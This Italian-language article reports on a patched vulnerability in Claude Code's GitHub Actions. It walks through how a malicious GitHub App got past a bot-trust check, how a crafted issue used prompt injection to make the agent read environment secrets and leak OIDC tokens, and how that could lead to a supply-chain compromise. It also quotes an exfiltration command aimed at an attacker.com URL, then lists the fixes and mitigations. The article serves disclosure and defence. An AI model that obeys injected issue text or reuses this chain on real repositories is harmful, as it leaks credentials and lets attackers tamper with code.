Una vulnerabilità nelle GitHub Actions di Claude Code che avrebbe potuto trasformare qualsiasi repository pubblico in un parco giochi per attaccanti. Sì, anche quelli di Anthropic stessa.
La falla — scoperta da Ryotak di GMO Flatt Security e corretta nella versione 1.0.94 — nasceva da un difetto nel sistema di permessi della funzione checklistPermissions. In parole semplici: il workflow si fidava ciecamente di qualsiasi attore che finisse con [bot], tipo i GitHub App. Il problema? Chiunque può creare un GitHub App, installarlo su un repository qualsiasi (anche uno vuoto creato due minuti prima), e usare il suo token per aprire issue o pull request su repository pubblici.
Come funzionava l’attacco
Tre passaggi, imbarazzantemente semplici. Crei un GitHub App malevolo. Lo installi su un tuo repo di test. Usi il suo installation token per aprire un’issue nel repository target. Il workflow vedeva arrivare una richiesta da un bot, dava l’ok, e processava il contenuto controllato dall’attaccante.
La modalità tag aveva una verifica aggiuntiva per controllare che fosse un umano vero. La modalità agent — quella più potente — no. Dettaglio non trascurabile.
Prompt injection e variabili d’ambiente
Una volta dentro, bastava una description dell’issue ben confezionata. Tipo: un messaggio di errore falso che spingeva Claude Code a eseguire comandi bash embedded nel testo. Prompt injection classico, ma efficace.
Claude Code permetteva certi comandi bash — come cat e less — senza richiedere approvazione esplicita. Risultato: un attaccante poteva leggere /proc/self/environ, quel file pseudo-Linux che espone tutte le variabili d’ambiente passate al processo del workflow. E lì dentro c’era roba interessante: ACTIONS_ID_TOKEN_REQUEST_TOKEN e ACTIONS_ID_TOKEN_REQUEST_URL.
Quei token OIDC servivano a Claude per ottenere un installation token privilegiato del GitHub App di Anthropic tramite l’endpoint api.anthropic.com/api/github/github-app-token-exchange. Con quei dati esfiltrati, un attaccante poteva replicare lo scambio e ottenere un token con permessi di scrittura su contenuti, issue, pull request e workflow del repository target.
Supply chain attack in piena regola
Il tocco finale? Il repository anthropics/claude-code-action stesso usava un workflow vulnerabile in modalità agent. Exploit riuscito significa: iniettare codice malevolo direttamente nell’action, che poi si propaga a ogni repository downstream che ne dipende. Supply chain attack da manuale.
La catena completa richiedeva sette step: dalla creazione del GitHub App malevolo fino al push di codice backdoorato nel repository di Anthropic. Non banale, ma nemmeno impossibile per chi sa dove mettere le mani.
Configurazioni sbagliate amplificavano il problema
Ryotak ha trovato anche una configurazione errata nei workflow d’esempio ufficiali di Anthropic: allowed_non_write_users impostato su stringa vuota. Se combinato con permessi issues: write e un secondo workflow con id-token: write, un attaccante poteva concatenare due workflow: usare il primo per leggere il GITHUB_TOKEN tramite il summary pubblico del workflow run, poi chiamare un’issue esistente per iniettare prompt nel workflow in modalità flag, escalando fino al compromesso totale del repository. Senza nemmeno bisogno del bypass tramite GitHub App.
Persino il comando CLI gh issue view era weaponizzabile: tramite prompt injection si poteva istruire Claude a embedare segreti negli argomenti URL — tipo gh issue view https://attacker.com/secret — inviando le credenziali a un server esterno.
Le patch
Anthropic ha risolto tutto nella versione 1.0.94. Le modifiche includono: aggiunta del controllo checkHumanActor alla modalità agent, disabilitazione di default della sezione workflow run summary, pulizia delle variabili d’ambiente dai processi figli lanciati da Claude Code, e un wrapper custom per il comando gh che valida gli argomenti e blocca pattern URL sospetti.
Hanno anche aggiunto logica per ignorare issue e commenti modificati dopo il trigger del workflow, chiudendo il vettore di attacco basato su concatenazione di workflow.
Ryotak ha assegnato un punteggio CVSS v4.0 di 7.8. Anthropic ha riconosciuto la scoperta con 3.800 dollari più un bonus di 1.000 tramite il suo bug bounty program. Cifre che, detto tra noi, sembrano contenute per una vulnerabilità con potenziale impatto su tutta la supply chain.
Cosa fare se usi Claude Code GitHub Actions
Se ancora giri versioni vecchie: aggiorna subito. Audita qualsiasi workflow che usa allowed_non_write_users. Limita i segreti esposti solo alla API key di Anthropic e al GITHUB_TOKEN. E controlla i log dei workflow run per tracce di compromissione — meglio tardi che mai.
La lezione? Anche i sistemi progettati per automatizzare la sicurezza possono diventare veicoli di attacco se i modelli di permessi non tengono conto di come GitHub gestisce realmente bot e token. E il prompt injection non è solo un problema teorico: quando Claude esegue comandi bash senza controllo umano, diventa un vettore concreto di exfiltrazione.
